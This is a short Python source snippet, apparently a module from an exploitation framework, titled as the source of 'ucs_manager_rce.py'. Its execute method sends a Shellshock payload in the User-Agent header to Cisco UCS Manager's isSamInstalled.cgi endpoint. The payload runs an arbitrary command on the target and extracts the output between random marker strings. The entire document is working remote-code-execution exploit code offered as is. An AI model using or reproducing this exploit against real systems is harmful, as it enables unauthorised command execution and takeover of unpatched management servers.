ucs_manager_rce.py 文件源码

def execute(self, cmd):
        mark = random_text(32)
        url = "{}:{}/ucsm/isSamInstalled.cgi".format(self.target, self.port)
        headers = {
            "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo %s; echo "$(%s)"; echo %s;' % (mark, cmd, mark)
        }

        response = http_request(method="GET", url=url, headers=headers)
        if response is None:
            return ""

        if mark in response.text:
            regexp = "%s(|.+?)%s" % (mark, mark)
            res = re.findall(regexp, response.text, re.DOTALL)

            if len(res):
                return res[0]

        return ""